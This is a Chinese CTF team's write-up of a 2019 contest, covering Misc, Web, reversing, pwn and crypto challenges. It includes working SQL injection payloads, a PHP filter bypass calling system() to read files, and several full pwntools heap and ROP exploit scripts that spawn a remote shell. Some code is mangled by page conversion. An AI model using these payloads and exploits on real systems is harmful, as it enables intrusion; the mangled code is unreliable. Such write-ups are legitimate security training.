当时我们博客挂了,只发在了先知,现补发:https://xz.aliyun.com/t/4906
Misc
签到
根据题目提示,三个男生女装对着摄像头跳宅舞就行了。我们跳的是《ハレ晴レユカイ》。
saleae
使用saleae logic打开,有4个channel,使用SPI协议分析,直接提取出flag
24c
还是使用saleae logic打开,有2个channel,使用I2C协议分析
查询24c文档可以知道Setup Write
之后需要输入的一个字符, 是为写储存的首地址
分析每段的输入 如下
第一段中为 , ord(‘ ‘) = 32
第二段中为 0
,
第三段中为 t
, ord(‘t’) = 9
所以最终flag写的过程是
usbasp
4个channel,使用SPI协议分析,注意setting最后一条要修改,提取出一串ascii码,转码得到flag
Web
全宇宙最简单的SQL
盲注。
发现or
、||
被过滤,采用^
配合AND
进行注入。发现SLEEP
和BENCHMARK
被过滤,使用正则DoS方式进行时间盲注。又由于不知道列名,因此再套一层,Payload如下:
admin'^(select+(select b from (select 1 as a,2 as b from user where 1=2 union select * from user) b) like'f1ag%'+and+concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'))+RLIKE+'(a.*)%2b(a.*)%2b(a.*)%2b(a.*)%2bb')^'1'%3d'1#
后发现,还可以使用报错注入。如果报错,页面会提示“数据库操作错误”。基本Payload如下:
username='^(select exp(~((select ( (( select c.b from (select 1 as a,2 as b,3 as d from user union select * from user)c where a='admin' )) ))*18446744073709551615)))#&password=admin
很快注出密码是f1ag@1s-at_/fll1llag_h3r3
,不过因为大小写不正确,要使用binary like。最终验证:
username='^(select exp(~((select( 2*length(( select c.b from (select 1 as a,2 as b from user union select * from user)c where a like binary 'admin' and b like binary 'F1AG@1s-at_/fll1llag_h3r3' ))=25))*18446744073709551615)))#&password=1
登录进去后就是老梗题,最近至少出现了三次,利用MySQL来手动读文件。https://github.com/allyshka/Rogue-MySql-Server/
直接打即可。
JustSoSo
(但是没交上)
love_math
那么多数学函数,实际上唯一能用的只有进制转换类,即base_convert
、dechex
,通过其能导出[0-9a-z]在内的字符。
经过一大堆失败的实验,如:
// phpinfo();
(base_convert(55490343972,10,36))();
// system('cat /*');
$pi=base_convert(9911,10,28);base_convert(1751504350,10,36)($pi(99).$pi(97).$pi(116).$pi(32).$pi(42));
// system($_GET);
$pi=base_convert(16191,10,36);$pi=$pi(95).$pi(71).$pi(69).$pi(84);base_convert(1751504350,10,36)($$pi{pi});
最后使用system(getallheaders(){9})
$pi=base_convert;$pi(371235972282,10,28)(($pi(8768397090111664438,10,30))(){9})
RefSpace
首先扫目录,扫出
– /index.php
– /robots.txt
– /flag.txt
– /backup.zip
– /?route=app/index
– /?route=app/Up10aD
– /?route=app/flag
这个flag.txt看起来是加密过的,没啥用,先下载下来再说。从app/flag
处,通过让参数为Array,可以得到报错信息,可以得到一个PHP文件/ctf/sdk.php
接着就是老梗LFI base64读源码,各种读。
http://e13d1dbeea094a64a4ad2b6677e8077947834b9a3b614242.changame.ichunqiu.com/?route=php://filter/read=convert.base64-encode/resource=app/index
读到/ctf/sdk.php
,发现这是经过SourceGuardian加密的。作者给了个提示:
我们的SDK通过如下SHA1算法验证key是否正确:
public function verify($key)
{
if (sha1($key) === $this->getHash()) {
return "too{young-too-simple}";
}
return false;
}
...
3.您无须尝试本地解码或本地运行sdk.php,它被预期在指定服务器环境上运行。
出题人三令五申不要去解密这个文件,那应该就不需要解密这个文件。不管怎么说,本地反射先。
php > $a = new ReflectionClass('interestingFlagSDK');
php > var_dump($a->getMethods());
php shell code:1:
array(2) {
[0] =>
class ReflectionMethod#2 (2) {
public $name =>
string(7) "getHash"
public $class =>
string(19) "interestingFlagSDK"
}
[1] =>
class ReflectionMethod#3 (2) {
public $name =>
string(6) "verify"
public $class =>
string(19) "interestingFlagSDK"
}
}
php > var_dump($a->getProperties());
php shell code:1:
array(1) {
[0] =>
class ReflectionProperty#2 (2) {
public $name =>
string(8) "flagPath"
public $class =>
string(19) "interestingFlagSDK"
}
}
php > $d = $a->getProperty('flagPath');
php > echo $d->getValue($b);
/var/www/html/flag.txt
可以看出这个类就两个函数,getHash
和verify
,还有一个flagPath
的属性,值是那个flag.txt
。但不知道这个getHash
的返回值究竟是啥,反射调用先
php > $b = new interestingFlagSDK();
php > $cc = $a->getMethod('getHash');
php > $cc->setAccessible(true);
php > echo $cc->invoke($b);
a356bc8d9d3e69beea3c15d40995f395425e7813
似乎是个固定值,服务器上通过phar传Shell也证明了这一点。But nobody cares,实践才是最重要的。让我们来手撕加密吧。(出题人内心OS:??????我不是都说别搞我加密了吗)
先去clone PHP源码,编译一下,再去SourceGuardian官网下载和我本地对应版本的PHP扩展,然后根据他的代码来模仿写一个:
接着让我们来魔改PHP内核,在zend_vm_init_call_frame
处打log来得到函数调用信息:
然后执行代码,从这个函数调用,就可以看出getHash
真的只是return 'a356bc8d9d3e69beea3c15d40995f395425e7813'
而已,并没有别的用途。
我们现在知道,flag其实就藏在verify
函数里了。我本来想给所有和比较有关的函数都打上标记,但根据题目提示,题目只用到了===
。因此修改zend_is_identical
的返回值,直接让他return 1.
然后把题目给的flag.txt
丢到/var/www/html/flag.txt
,就跑出来了。
另外,这个被加密的代码逻辑是
public function verify($key)
{
if (sha1($key) === $this->getHash()) {
$a = base64_decode(file_get_contents($this->flagPath));
return openssl_private_decrypt($a, "RSA_KEY");
}
return false;
}
很容易也就能把他的RSA密钥解出来,这个就没啥好说的了。专业SG11解密,比市场价便宜.jpg
(各位师傅别来日我写的加密啊.jpg)
Re
easyGo
下载了个golanghelper帮助IDA发现程序
动态跟踪后发现flag就在内存中
pwndbg> telescope 0xc0000181e0
00:0000│ rsi r12 0xc0000181e0 ◂— 0x3032397b67616c66 ('flag{920')
01:0008│ 0xc0000181e8 ◂— 0x33332d6661643439 ('94daf-33')
02:0010│ 0xc0000181f0 ◂— 0x2d653133342d3963 ('c9-431e-')
03:0018│ 0xc0000181f8 ◂— 0x6662382d61353861 ('a85a-8bf')
04:0020│ 0xc000018200 ◂— 'bd5df98ad}'
05:0028│ 0xc000018208 ◂— 0x7d64 /* 'd}' */
06:0030│ 0xc000018210 ◂— 0x0
bbvvmm
程序验证username和passwd
username用了sm4加密又base64,sm4密钥给了,逆着来就行了
passwd验证的代码太长,动态开调,后来发现就写在内存中
#https://github.com/yang3yen/pysm4
from pysm4 import decrypt
import base64
#a = "IJLMNOPKABDEFGHCQRTUVWXSYZbcdefa45789+/6ghjklmnioprstuvqwxz0123y"
#b = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
#crypto_text = "RVYtG85NQ9OPHU4uQ8AuFM+MHVVrFMJMR8FuF8WJQ8Y="
#table = ''.maketrans(a, b)
#print(base64.b64decode(crypto_text.translate(table)))
m = 0xEF468DBAF985B2509C9E200CF3525AB6
key = 0xda98f1da312ab753a5703a0bfd290dd6
temp = hex(decrypt(m,key))[2:-1]
a = ""
for i in range(len(temp)/2):
a += chr(int(temp[2*i:2*i+2],16))
temp = a
a = ""
for i in range(len(temp)/2):
a += chr(int(temp[2*i:2*i+2],16))
print "name is " + a
username = “badrer12”
密码出现在内存中
00000000022D14F0 C0 25 2D 02 00 00 00 78 72 00 00 00 00 00 00 0A ..-....xr.......
00000000022D1500 C0 25 2D 02 00 00 00 79 71 00 00 00 00 00 00 08 ..-....yq.......
00000000022D1510 C0 25 2D 02 00 00 00 7A 77 00 00 00 00 00 00 0D ..-....zw.......
00000000022D1520 C0 25 2D 02 00 00 00 7B 65 00 00 00 00 00 00 1E ..-....{e.......
00000000022D1530 C0 25 2D 02 00 00 00 7C 72 00 00 00 00 00 00 0E ..-....|r.......
00000000022D1540 C0 25 2D 02 00 00 00 7D 71 00 00 00 00 00 00 0C ..-....}q.......
00000000022D1550 1A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
passwd=”xyz{|}”
from pwn import *
p = remote("39.97.228.196","10001")
p.recvuntil("Username:")
p.sendline("badrer12")
p.recvuntil("Password:")
p.send("xyz{|}")
p.interactive()
Pwn
your_pwn
数组下标越界造成任意读和写(代码有点丑
from pwn import *
p = process("./pwn")
elf = ELF("./pwn")
# p = remote("1b190bf34e999d7f752a35fa9ee0d911.kr-lab.com","57856")
def main():
gdb.attach(p)
p.recvuntil("input your name nname:")
p.send("x00")
start_offset = 349
program_base = 0
#leak program_base
for i in range(6):
p.recvuntil("input index")
p.sendline(str(start_offset-i))
p.recvuntil("now value(hex) ")
temp = int(p.recvuntil("n",drop=True)[-2:],16)
print temp
program_base = (program_base << 8) + temp
print program_base
p.recvuntil("input new value")
p.sendline(str(temp))
program_base -= 0xb11
success("program_base : " + hex(program_base))
#0x0000000000000d03 : pop rdi ; ret
#puts(got[puts]) and return main
start_offset = 344+0x8
pop_rdi = program_base + 0xd03
puts_addr = elf.symbols["puts"] + program_base
puts_got = elf.got["puts"] + program_base
main_addr = program_base + 0xa65
for i in range(2):
p.recvuntil("input index")
p.sendline(str(344+i))
p.recvuntil("input new value")
p.sendline(str((pop_rdi&(0xff<<i*8))>>i*8))
for i in range(6):
p.recvuntil("input index")
p.sendline(str(start_offset+i))
p.recvuntil("now value(hex) ")
p.recvuntil("input new value")
p.sendline(str((puts_got&(0xff<<i*8))>>i*8))
start_offset += 0x8
for i in range(6):
p.recvuntil("input index")
p.sendline(str(start_offset+i))
p.recvuntil("now value(hex) ")
p.recvuntil("input new value")
p.sendline(str((puts_addr&(0xff<<i*8))>>i*8))
start_offset += 0x8
for i in range(6):
p.recvuntil("input index")
p.sendline(str(start_offset+i))
p.recvuntil("now value(hex) ")
p.recvuntil("input new value")
p.sendline(str((main_addr&(0xff<<i*8))>>i*8))
for i in range(15):
p.recvuntil("input index")
p.sendline("1")
p.recvuntil("input new value")
p.sendline("1")
#write ret value to one_gadget
p.recvuntil("do you want continue(yes/no)? ")
p.sendline("yes")
p.recvuntil("n")
puts_addr = u64(p.recvuntil("n",drop=True).ljust(8,"x00"))
success("puts : " + hex(puts_addr))
p.recvuntil("input your name nname:")
p.send("x00")
libc_base = puts_addr - 0x6f690
one_gadget = libc_base + 0x45216
start_offset = 344
for i in range(6):
p.recvuntil("input index")
p.sendline(str(start_offset+i))
p.recvuntil("now value(hex) ")
p.recvuntil("input new value")
p.sendline(str((one_gadget&(0xff<<i*8))>>i*8))
for i in range(35):
p.recvuntil("input index")
p.sendline("1")
p.recvuntil("input new value")
p.sendline("1")
p.recvuntil("do you want continue(yes/no)? ")
p.sendline("no")
p.interactive()
if __name__ == "__main__":
main()
daily
free的时候没有检查index是否合法
from pwn import *
def show():
p.sendafter(':', '1')
def add(size, cont):
p.sendafter(':', '2')
p.sendafter('daily:', str(size))
p.sendafter('n', cont)
def edit(idx, cont):
p.sendafter(':', '3')
p.sendafter(':', str(idx))
p.sendafter('n', cont)
def free(idx):
p.sendafter(':', '4')
p.sendafter(':', str(idx))
def leak():
add(0x100, '0')
add(0x100, '1')
add(0x100, '2')
add(0x100, '3')
add(0x100, '4')
free(3)
free(1)
free(4)
free(2)
free(0)
add(0x100, '0'*8)
add(0x210, '1'*8)
add(0x100, '2'*8)
show()
p.recvuntil('1'*8)
libc_base = u64(p.recvuntil('2 : '+'2'*8, drop=True).ljust(8, 'x00')) - 0x3c4b78
heap = u64(p.recvuntil('=', drop=True).ljust(8, 'x00')) - 0x110
free(0)
free(1)
free(2)
return heap, libc_base
def exploit(host, port=58512):
global p
if host:
p = remote(host, port)
else:
p = process('./pwn', env={'LD_PRELOAD':'./libc.so.6'})
gdb.attach(p, 'source ./gdb.scriptn')
heap, libc.address = leak()
info('heap @ '+hex(heap))
info('libc @ '+hex(libc.address))
add(0x60, p64(0) + p64(heap+0x10))
add(0x60, '/bin/shx00') #1
add(0x7f, '2')
free((heap+0x10-0x602060)/0x10)
edit(0, p64(0x602078))
add(0x60, '3') #0
add(0x60, p64(libc.sym['__free_hook'])) # point to address of #2 : 0x602088
edit(2, p64(libc.sym['system']))
free(1)
p.interactive()
if __name__ == '__main__':
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
exploit(args['REMOTE'])
baby_pwn
通过爆破修改alarm@got
最低位指向sysenter
从而判断远程libc版本,再利用read()使得eax=sys_write
即可泄露
from pwn import *
context.update(os='linux', arch='i386')
def exploit(host, port=33865):
if host:
p = remote(host, port)
else:
p = process('./pwn', env={'LD_PRELOAD':'./libc6-i386_2.23-0ubuntu11_amd64.so'})
gdb.attach(p, 'source ./gdb.script')
ropchain = [
elf.plt['read'], p_esi_edi_ebp_r,
0, elf.got['alarm'], 1,
elf.plt['read'], p_esi_edi_ebp_r,
0, 0x0804A000, 0x100,
p_ebx_r, 1,
elf.plt['alarm'],
elf.plt['read'], p_esi_edi_ebp_r,
0, elf.got['setvbuf'], 0x10,
elf.plt['setvbuf'], 0,
elf.got['setvbuf']+4,
]
p.send(('A'*40 + 'B'*4 + flat(ropchain)).ljust(0x100, 'x00'))
p.send('x2b')
p.send('x00'*4)
p.recv(0xc)
libc.address = u32(p.recv(4)) - libc.sym['read']
info('libc.address @ '+hex(libc.address))
p.send(p32(libc.sym['system']) + '/bin/shx00')
p.interactive()
if __name__ == '__main__':
elf = ELF('./pwn')
libc = ELF('./libc6-i386_2.23-0ubuntu11_amd64.so')
p_ebx_esi_edi_ebp_r = 0x080485d8 # pop ebx ; pop esi ; pop edi ; pop ebp ; ret
p_esi_edi_ebp_r = 0x080485d9 # pop esi ; pop edi ; pop ebp ; ret
p_ebx_r = 0x0804837d # pop ebx ; ret
exploit(args['REMOTE'])
Double
数据为单向链表结构,在add()
时通过添加两次相同数据,可以触发fastbin attack,将堆块分配至bss段,从而修改链表头指针,达到任意读写
from pwn import *
def add(data):
p.sendlineafter('> ', '1')
if len(data)<256:
data += 'n'
p.sendafter('data:n', data)
def show(idx):
p.sendlineafter('> ', '2')
p.sendlineafter('index: ', str(idx))
def edit(idx, data):
p.sendlineafter('> ', '3')
p.sendlineafter('index: ', str(idx))
if len(data)<256:
data += 'n'
p.send(data)
def free(idx):
p.sendlineafter('> ', '4')
p.sendlineafter('index: ', str(idx))
def exploit(host, port=40002):
global p
if host:
p = remote(host, port)
else:
p = process('./pwn', env={'LD_PRELOAD':'./libc.so.6'})
gdb.attach(p, 'source ./gdb.script')
add('A'*0x60) #0
add('A'*0x60) #1
free(1)
edit(0, p64(0x4040b0-3))
add('1'*0x60) #1
add('x00'*0x60) #0
edit(0, 'x77'*3 + p64(elf.got['free']) + p64(0) + p64(0x4040b8) + p64(0x4040b8) + '/bin/shx00')
show(0)
libc.address = u64(p.recvuntil('n', drop=True).ljust(8, 'x00')) - libc.sym['free']
info('libc.address @ '+hex(libc.address))
edit(0, p64(libc.sym['system']))
add('/bin/sh')
free(1)
p.interactive()
if __name__ == '__main__':
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
exploit(args['REMOTE'])
bms
通过double free来检测远程libc版本>=2.26,pwnable.tw的heap_paradise原题,但是libc版本不同,利用思路相同,修改IO_2_1_stdout的头部造成泄露,再通过tcache attack来达到任意写
from pwn import *
def auth(p):
p.sendlineafter('name:', 'admin')
p.sendlineafter('word:', 'frame')
def __add__(p, name, size, desc):
p.sendlineafter('>', '1')
p.sendafter(':', name)
p.sendafter(':', str(size))
p.sendafter('description:', desc)
def __free__(p, idx):
p.sendlineafter('>', '2')
p.sendafter(':', str(idx))
def exploit(host, port=40001):
if host:
p = remote(host, port)
else:
p = process('./pwn', env={'LD_PRELOAD':libc_name})
gdb.attach(p, 'source ./gdb.script')
auth(p)
add = lambda x,y,z: __add__(p, x, y, z)
free = lambda x: __free__(p, x)
add('0', 0x60, 'desc') #0
free(0)
free(0)
add('1', 0x60, p64(0x602020)) #1
add('2', 0x60, 'desc') #2
add('3', 0x60, 'x20')
add('4', 0x60, p64(0xfbad1800) + p64(0)*3 + 'x00')
p.recv(24)
libc.address = u64(p.recv(8)) - 0x3d73e0 # - 0x74d0
info('libc.address @ '+hex(libc.address))
add('5', 0x90, 'desc')
free(5)
free(5)
add('6', 0x90, p64(libc.sym['__free_hook']))
add('7', 0x90, '/bin/shx00')
add('8', 0x90, p64(libc.sym['system']))
free(7)
p.interactive()
if __name__ == '__main__':
# libc_name = './libc.so.6'
libc_name = './libc6_2.26-0ubuntu2_amd64.so'
libc = ELF(libc_name)
exploit(args['REMOTE'])
Crypto
puzzles
“`part0解四元一次方程
from z3 import *
a1 = Real("a1")
a2 = Real("a2")
a3 = Real("a3")
a4 = Real("a4")
s = Solver()
s.add(13627<em>a1+26183</em>a2+35897<em>a3+48119</em>a4 == 347561292)
s.add(23027<em>a1+38459</em>a2+40351<em>a3+19961</em>a4 == 361760202)
s.add(36013<em>a1+45589</em>a2+17029<em>a3+27823</em>a4 == 397301762)
s.add(43189<em>a1+12269</em>a2+21587<em>a3+33721</em>a4 == 350830412)
print s.check()
m = s.model()
print(m)
<pre><code class="line-numbers"><br />part1
http://smallprimenumber.blogspot.com/2008/12/prime-number-from-26000000-to-26500000.html
![image.png](https://xzfile.aliyuncs.com/media/upload/picture/20190423105429-1cd09f50-6573-1.png)
part2高数在线微积分网站
part3&&part4
大物和三重积分
![image.png](https://xzfile.aliyuncs.com/media/upload/picture/20190423105423-19b170a6-6573-1.png)
得
flag{01924dd7-1e14-48d0-9d80-fa6bed9c7a00}
### part_des
题目给出了全部的round key 和 某一轮加密的结果
github 搜一个des的代码 把round key 赋入. 并且遍历某round 把加密结果替换
“`python
# -*- coding: utf-8 -*-
# S盒 的置换矩阵
S_MATRIX = [(14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7,
0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8,
4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0,
15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13),
(15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10,
3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5,
0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15,
13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9),
(10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8,
13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1,
13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7,
1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12),
(7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15,
13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9,
10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4,
3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14),
(2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9,
14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6,
4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14,
11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3),
(12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11,
10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8,
9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6,
4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13),
(4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1,
13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6,
1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2,
6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12),
(13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7,
1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2,
7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8,
2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11)]
# P置换的置换矩阵
P_MATRIX = [16, 7, 20, 21, 29, 12, 28, 17, 1, 15, 23, 26, 5, 18, 31, 10,
2, 8, 24, 14, 32, 27, 3, 9, 19, 13, 30, 6, 22, 11, 4, 25]
# IP置换的 置换矩阵
IP_MATRIX = [58, 50, 42, 34, 26, 18, 10, 2,
60, 52, 44, 36, 28, 20, 12, 4,
62, 54, 46, 38, 30, 22, 14, 6,
64, 56, 48, 40, 32, 24, 16, 8,
57, 49, 41, 33, 25, 17, 9, 1,
59, 51, 43, 35, 27, 19, 11, 3,
61, 53, 45, 37, 29, 21, 13, 5,
63, 55, 47, 39, 31, 23, 15, 7]
# 压缩置换矩阵 从56位里选48位
COMPRESS_MATRIXS = [14, 17, 11, 24, 1, 5,
3, 28, 15, 6, 21, 10,
23, 19, 12, 4, 26, 8,
16, 7, 27, 20, 13, 2,
41, 52, 31, 37, 47, 55,
30, 40, 51, 45, 33, 48,
44, 49, 39, 56, 34, 53,
46, 42, 50, 36, 29, 32]
# E扩展置换矩阵
E_MATRIX = [32, 1, 2, 3, 4, 5,
4, 5, 6, 7, 8, 9,
8, 9, 10, 11, 12, 13,
12, 13, 14, 15, 16, 17,
16, 17, 18, 19, 20, 21,
20, 21, 22, 23, 24, 25,
24, 25, 26, 27, 28, 29,
28, 29, 30, 31, 32, 1]
# IP逆置换矩阵
IP_INVERSE_MATRIX = [40, 8, 48, 16, 56, 24, 64, 32, 39, 7, 47, 15, 55, 23, 63, 31,
38, 6, 46, 14, 54, 22, 62, 30, 37, 5, 45, 13, 53, 21, 61, 29,
36, 4, 44, 12, 52, 20, 60, 28, 35, 3, 43, 11, 51, 19, 59, 27,
34, 2, 42, 10, 50, 18, 58, 26, 33, 1, 41, 9, 49, 17, 57, 25]
# IP置换
def IP(Mingwen):
#如果长度不是64 就退出
assert len(Mingwen) == 64
ret = “”
#通过循环 进行IP置换
for i in IP_MATRIX:
ret = ret + Mingwen[i – 1]
return ret
# 循环左移位数
def shift(str, shift_count):
try:
if len(str) > 28:
raise NameError
except TypeError:
pass
str = str[shift_count:] + str[0:shift_count]
return str
#由密钥 得到子密钥
def createSubkey(key):
# 如果key长度不是64 就退出
assert len(key) == 64
#DES的密钥由64位减至56位,每个字节的第8位作为奇偶校验位
#把56位 变成 2个28位
Llist = [57, 49, 41, 33, 25, 17, 9,
1, 58, 50, 42, 34, 26, 18,
10, 2, 59, 51, 43, 35, 27,
19, 11, 3, 60, 52, 44, 36]
Rlist = [63, 55, 47, 39, 31, 23, 15,
7, 62, 54, 46, 38, 30, 22,
14, 6, 61, 53, 45, 37, 29,
21, 13, 5, 28, 20, 12, 4]
# 初试生成 左右两组28位密钥
L0 = “”
R0 = “”
for i in Llist:
L0 += key[i – 1]
for i in Rlist:
R0 += key[i – 1]
assert len(L0) == 28
assert len(R0) == 28
#轮函数生成 48位密钥
#定义轮数
Movetimes = [1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1]
#定义返回的subKey
retkey = []
#开始轮置换
for i in range(0, 16):
#获取左半边 和 右半边 shift函数用来左移生成轮数
L0 = shift(L0, Movetimes[i])
R0 = shift(R0, Movetimes[i])
#合并左右部分
mergedKey = L0 + R0
tempkey = “”
# 压缩置换矩阵 从56位里选48位
#选出48位子密钥
for i in COMPRESS_MATRIXS:
tempkey += mergedKey[i – 1]
assert len(tempkey) == 48
#加入生成子密钥
retkey.append(tempkey)
return retkey
# E扩展置换 把右边32位扩展为48位
def E_expend(Rn):
retRn = “”
for i in E_MATRIX:
retRn += Rn[i – 1]
assert len(retRn) == 48
return retRn
# S盒替代运算
def S_sub(S_Input):
#从第二位开始的子串 去掉0X
S_Input = bin(S_Input)[2:]
while len(S_Input) < 48:
S_Input = “0” + S_Input
index = 0
retstr = “”
for Slist in S_MATRIX:
# 输入的高低两位做为行数row
row = int(S_Input[index] + S_Input[index + 5], base=2)
# 中间四位做为列数L
col = int(S_Input[index + 1:index + 5], base=2)
# 得到 result的 单个四位输出
ret_single = bin(Slist[row * 16 + col])[2:]
while len(ret_single) < 4:
ret_single = “0” + ret_single
# 合并单个输出
retstr += ret_single
# index + 6 进入下一个六位输入
index += 6
assert len(retstr) == 32
return retstr
def P(Ln, S_sub_str, oldRn):
# P 盒置换
tmp = “”
for i in P_MATRIX:
tmp += S_sub_str[i – 1]
# P盒置换的结果与最初的64位分组左半部分L0异或
LnNew = int(tmp, base=2) ^ int(Ln, base=2)
LnNew = bin(LnNew)[2:]
while len(LnNew) < 32:
LnNew = “0” + LnNew
assert len(LnNew) == 32
# 左、右半部分交换,接着开始另一轮
(Ln, Rn) = (oldRn, LnNew)
return (Ln, Rn)
def IP_inverse(L16, R16):
tmp = L16 + R16
retstr = “”
for i in IP_INVERSE_MATRIX:
retstr += tmp[i – 1]
assert len(retstr) == 64
return retstr
# DES 算法实现 flag是标志位 当为-1时, 是DES解密, flag默认为0
def DES (text, key, flag = “0”, ii = -1):
# 初始字段
# IP置换
InitKeyCode = IP(text)
# 产生子密钥 集合
subkeylist = createSubkey(key)
subkeylist = [“111000001011111001100110000100000011001011010101”, “111100001011011001110110111110000010000010010101”, “111001001101011001110110001000110110001010001111”, “111001101101001101110110001101100011000110000011”, “101011101101001101110011101001100000000101100111”, “101011110101001101111011010001101010101111000010”, “101011110101001111011001011101001000010101011001”, “000111110101101111011001010010111001010001001010”, “001111110100100111011001010010001001011111101010”, “000111110110100110011101000111001101110000101001”, “000111110010110110011101010010100101110001110000”, “010111110010110010101101100010011110100100111000”, “110110111010110010101100101000010101111000010000”, “110110001010111010101110110110010000001000110110”, “111100001011111000101110100101010100101010001100”, “111100001011111010100110000100010010111010000100”, ]
# 获得Ln 和 Rn
Ln = InitKeyCode[0:32]
Rn = InitKeyCode[32:]
if (flag == “-1”) :
subkeylist = subkeylist[::-1]
i = 0
for subkey in subkeylist:
while len(Rn) < 32:
Rn = “0” + Rn
while len(Ln) < 32:
Ln = “0” + Ln
# 对右边进行E-扩展
Rn_expand = E_expend(Rn)
# 压缩后的密钥与扩展分组异或以后得到48位的数据,将这个数据送入S盒
S_Input = int(Rn_expand, base=2) ^ int(subkey, base=2)
# 进行S盒替代
S_sub_str = S_sub(S_Input)
#P盒置换 并且
# 左、右半部分交换,接着开始另一轮
(Ln, Rn) = P(Ln, S_sub_str, Rn)
if(i == ii):
#Rn, Ln = ‘10010010110110010001010100100101’, ‘00000001000110011110000100101011’
Ln, Rn = ‘10010010110110010001010100100101’, ‘00000001000110011110000100101011’
i = i + 1
#进行下一轮轮置换
# 最后一轮之后 左、右两半部分并未进行交换
# 而是两部分合并形成一个分组做为末置换的输入。
# 所以要重新置换 一次
(Ln, Rn) = (Rn, Ln)
# 末置换得到密文
re_text = IP_inverse(Ln, Rn)
return re_text
if __name__ == “__main__”:
for i in range(16):
key = “0001001000110100010101100111100010110001001000110100010101100111”
Mingwen = “1001001011011001000101010010010100000001000110011110000100101011”
ciphertext = DES(Mingwen, key, ii= i)
Mingwen = “1001001011011001000101010010010100000001000110011110000100101011”
#打印加密后的密文
print( hex(int(ciphertext, base=2)))
falseKey = “1001001011011001000101010010010100000001000110011110000100101011”
decode_ciphertext = DES(ciphertext, key, “-1”)
#打印解密后的明文 看是否相同
print(hex(int(decode_ciphertext, base=2)).upper())
把输出转化为字符. 发现 79307572394F6F64
可转为 y0ur9Ood
Asymmetric
爆破 p, r
from math import log2
target= 754600786340927688096652328072061561501667781193760284816393637647032362908189628005150802929636396969230958922073774180726205402897453096041624408154494621307262657492560975357997726055874834308239749992507552325614973631556754707427580134609221878324704469965450463088892083264951442562525825243127575048386573246756312509362222667015490013299327398464802116909245529065994770788125182846841016932803939806558559335886481214931253578226314057242462834149031625361286317307273138514126289052003214703248070256059405676891634792175775697355408418965738663732479622148276007308404691800186837579126431484536836513358124181380166971922188839934522356902295160649189850427580493328509329115798694580347461641487270793993129066433242544366683131231903590153844590595882428219010673818765995719694470668924781499987923250883546686344997580959954960334567874040563037167422839228466141912000421309282727363913908613116739074234989825489075148091144771967111113068647060175231126374070143480727000247378471525286907200601035581143391602569836131345909055708005758380081303860198696570649330092070410465978479841469533490522594827330661914537170063053059393550673731195548189192109328158876774080143171304333338291909598353550442855717204721
r = 4
left = 1
rbit = 1024
step = int(log2(2**rbit - left)) - 8
while True:
step = step - 1
for i in range(left, 2**rbit+1, 2 ** step):
if i ** r == target:
print(i, 'solve')
exit()
if i ** r > target:
left = i - 2 ** step
print(i)
break
else:
print('noooooo')
break
得到
p = 165740755190793304655854506052794072378181046252118367693457385632818329041540419488625472007710062128632942664366383551452498541560538744582922713808611320176770401587674618121885719953831122487280978418110380597358747915420928053860076414097300832349400288770613227105348835005596365488460445438176193451867
r = 4
计算 φ(p^k)=(p-1)p^(k-1)
求逆元, 解码 done.
import gmpy2
from Crypto.Util.number import *
